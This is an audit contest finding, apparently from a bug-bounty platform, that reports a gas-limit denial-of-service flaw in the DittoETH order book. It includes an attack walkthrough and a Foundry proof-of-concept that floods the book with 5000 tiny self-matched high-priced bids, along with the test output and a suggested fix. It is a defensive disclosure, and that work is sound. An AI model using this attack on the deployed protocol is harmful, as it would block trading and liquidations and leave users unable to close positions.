DittoETH

Ditto
DeFiFoundryOracle
55,000 USDC
View results
Submission Details
Severity: medium
Valid

Gas Limit Exploitation and Order Book Blockage Due to High-Priced Bids

Summary:

  • In scenarios where there are no existing asks or shorts in a specific market order book, a malicious user can disrupt the market. By flooding the market with numerous small bids at an exceptionally high price, this will lead to :
    prevent new limit asks or limit shorts from being created below their bid price(which too high) cause the matching algorithm will reach the gasLimit matching a bunsh of small bids with the incoming sell order.also No bids below his price will get matched. and the liquidation process in primaryMarginCall will not be possible for short records.

Vulnerability Details:

The vulnerability arises cause the way how matching algorithm in function sellMatchAlgo in the LibOrders.sol library matches incoming ask with the highest bid. Here's how the problem unfolds:

  1. Matching Algorithm Flaw:

    • when a new ask is created,it's get created in the AskOrdersFacet in function createAsk triggering the sellMatchAlgo() function.

    function createAsk(
    address asset,
    uint80 price,
    uint88 ercAmount,
    bool isMarketOrder,
    MTypes.OrderHint[] calldata orderHintArray
    ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant {
    uint256 eth = price.mul(ercAmount);
    uint256 minAskEth = LibAsset.minAskEth(asset);
    if (eth < minAskEth) revert Errors.OrderUnderMinimumSize();
    ......
    .......
    LibOrders.sellMatchAlgo(asset, incomingAsk, orderHintArray, minAskEth);//@audit ..
    }
    • If the ask price is less than or equal to the highest bid price and the ask amount is less than the highest bid amount, the ask matches with the bid and doesn't get added to the order book.

    • The highest bid matched stays as the highest bid in the bids list with less amount .

      bidOrder.amount = StartingAmount - MatchedAmount.

      and the bidder will get his erc tokens in thier virtual balance in the system. as we see in this snippet code :

    // when the : amount ask < amount bid
    else {
    //update the erc amount of the highest bid ,by sub the ask amount erc
    s.bids[asset][highestBid.id].ercAmount = highestBid.ercAmount - incomingAsk.ercAmount;
    updateBidOrdersOnMatch(s.bids, asset, highestBid.id, false);
    }
    incomingAsk.ercAmount = 0; // set ask ercAmount to zero.
    matchIncomingSell(asset, incomingAsk, matchTotal);
    return;
    .............................................................
    // match highest bid when amount ask < amount bid :
    function matchHighestBid(STypes.Order memory incomingSell,STypes.Order memory highestBid,address asset,
    MTypes.Match memory matchTotal
    ) internal {
    ...
    ...
    s.assetUser[asset][highestBid.addr].ercEscrowed += fillErc;
    }
  2. Exploitable Scenario:

    • The vulnerability emerges when there are no existing asks or shorts in the order book. (or even if there is but the attacker should buy them all).

    • A malicious user can exploit this by :

    1. creating a bid with an exorbitantly high price. Then, they create an ask with the same price but slightly less in amount (e.g., 10 wei lower). This left a tiny highest bid in the order book.

    2. The user then create another bid with a slightly higher price than the existing highest bid (1wei). and another ask that matches with this new highest bid but left a tiny amount again. now E.g. we have :

      Bids Price Bids Amounts
      1 100
      2 340
      100 0.001
      100.01 0.001
  3. repeating this process in a loop. This results in bunsh of tiny bids with disproportionately high prices in the order book.

  4. Gas Limit and Reversion:

    • When a new regular ask is created with a standard price, due to the existence of these numerous tiny high-priced bids, the matching algorithm starts looping through all these bids to match the incoming ask.

    • However, because there are many tiny bids, the transaction reaches the gas limit before the entire ask amount is matched. This premature termination of the transaction leads to a revert,

    • NOTICE that the askers can't create an ask that have tiny amount with the same price of the bidder to match with a Reasonable number of bids that not gonna reach the gas limit . that's because there is a minAmountEth which is :

      price * amount > mintEth

      assume the following :

      • the Malicious user create 1000 bid. the highest bid is :

        {price : 1 ether + 1000 wei , amount : 10 wei}

        the price in each previous bid is 1 wei less . so the first bid is :

        {price : 1 ether , amount : 10 wei}

      • now let's calculate the minimum amount of erc tokens (pagged asset) that an asker can create ask with it at the highest price (1 ether for each asset which too high).

      • assume MinEth is : 0.001 ether
        .
        we have :

        • MinEth = Price * ErcAmount

        • ErcAmount = MinEth / price

          so the min erc amount at the price the malicious user set as the highest bid will be :

          ercAmount = 0.001 ether * 1 ether / 1 ether = 1000000000000 wei.

    • However, the sum of all the malicious bid amounts from highest to lowest is: 1000 × 10 = 10000 wei. Even if an ask attempts to match the highest bid price, the ask still needs to have a large amount, leading to looping through all these tiny bids. This looping process causes the transaction to reach the gas limit, resulting in a premature termination of the transaction.

  • The same is applicable for shorts limits.

  • for bidders there is no incentive to create a bid that's higher than this price.(which toooo high)

  • the attack will not cost the malicious user too much , since he is matching with it self. the eth amount will cost him for the example provided around : 10000 weiand gas fee.

  • by doing this an attacker can set above the highest bid price,an ask order with with slitlly higher price but with a larger amount that he buy before . forcing the shorters to buy at his price to close thier debt. or just lose thier collateral in case of secondary call for example.

poc

  • using the same repo setup for testing,this is the POC .

pragma solidity 0.8.21;
import {Errors} from "contracts/libraries/Errors.sol";
import {Events} from "contracts/libraries/Events.sol";
import {STypes, MTypes, O} from "contracts/libraries/DataTypes.sol";
import {Constants} from "contracts/libraries/Constants.sol";
import "forge-std/console.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
// import {console} from "contracts/libraries/console.sol";
contract POC is OBFixture {
address[3] private users = [address(435433), address(423432523), address(522366)];
address attacker = address(424234234232342);
function setUp() public override {
super.setUp();
vm.label(attacker,"attacker");
// first create some pagged assets by matching shorts with bids
fundLimitBidOpt(DEFAULT_PRICE*3, DEFAULT_AMOUNT * 100, users[0]);
fundLimitBidOpt(DEFAULT_PRICE * 2, DEFAULT_AMOUNT * 50, users[0]);
fundLimitShortOpt(uint80(DEFAULT_PRICE), DEFAULT_AMOUNT*150, users[0]);
// give the attacker some assets :
depositEth(attacker,DEFAULT_AMOUNT * 100);
depositUsd(attacker, DEFAULT_AMOUNT * 1000);
}
function attacker_setup() public {
// check his balance before the bunsh of bids he will create :
uint balanceZethBefore = diamond.getZethBalance(vault,attacker);
uint balanceAssetBefore = diamond.getAssetBalance(asset,attacker);
vm.startPrank(attacker);
uint16 id;
uint80 latestPrice;
for (uint i;i<5000;i++){
if(i == 0){
latestPrice = DEFAULT_PRICE *50;
}
// fundLimitBidOpt(latestPrice , DEFAULT_AMOUNT ,attacker);
createLimitBid(latestPrice, DEFAULT_AMOUNT);
// get highest bid :
(, id) = diamond.getBidKey(asset,1);
latestPrice = diamond.getBidOrder(asset,id).price;
// console.log(latestPrice);
// create ask with same price , and amount less 1 wei:
createLimitAsk( latestPrice, DEFAULT_AMOUNT - 80);
latestPrice += 1;//2wei;
}
vm.stopPrank();
STypes.Order[] memory bids = diamond.getBids(asset);
console.log( "hack cost zeth", balanceZethBefore - diamond.getZethBalance(vault,attacker));
console.log( "hack cost asset", balanceAssetBefore - diamond.getAssetBalance(asset,attacker));
console.log("bids that attacker create :",bids.length);
console.log("amount in each bid ",bids[4].ercAmount);
}
function test_reachGasLimit() public {
attacker_setup();
uint before = gasleft();
fundLimitAskOpt(DEFAULT_PRICE*3, DEFAULT_AMOUNT, users[0]);
uint afterr = gasleft();
console.log("gasUsed" , before - afterr);
}
}
  • console after running test :

Compiler run successful!
Running 1 test for test/poc.sol:POC
[PASS] test_reachGasLimit() (gas: 723550417)
Logs:
hack cost zeth 9999
hack cost asset 0
bids that attacker create : 5000
amount in each bid 80
gasUsed 35013047
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.50s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

1 . shorters can't close thier position: the shorters will be at risk to not be able to close thier debt position . only if they buy the ercAsset above the price the attacker set. which likelly will be the attacker ask.
2. Limited Order Creation: Users are restricted from creating asks (both limit and market) and setting shorts limits below the price set by the attacker. This restriction significantly hampers market activities since there's no incentive for legitimate bidders to buy the pegged asset at an inflated price.

  1. Blocked Order Book Functionality: Bids placed below the attacker's price will never match with any asks, effectively blocking the entire order book from functioning below the attacker's specified price. This obstruction disrupts the natural trading process and prevents legitimate buyers and sellers from interacting in the market.

  2. Impaired Liquidation Process: The primary liquidation mechanism becomes impractical because it relies on creating a forceBid, which behaves like a regular bid order. However, these force bids, similar to other bids, won't match due to the artificially inflated price. Consequently, the primary liquidation process is rendered ineffective, preventing the clearing of outstanding positions and increasing the risk of market instability.

  3. users who tried to create an ask or short limit. will pay a high gas fee . and the transaction will revert at the end.

Tool used

Manual Review

Recommendation

I would recommend Adding a limit orders to match in the algorithm. that not exceed the block limit gas.

Updates

Lead Judging Commences

0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-425

ElHaj Submitter
almost 2 years ago
T1MOH Auditor
almost 2 years ago
ElHaj Submitter
almost 2 years ago
T1MOH Auditor
almost 2 years ago
ElHaj Submitter
almost 2 years ago
0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-425

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.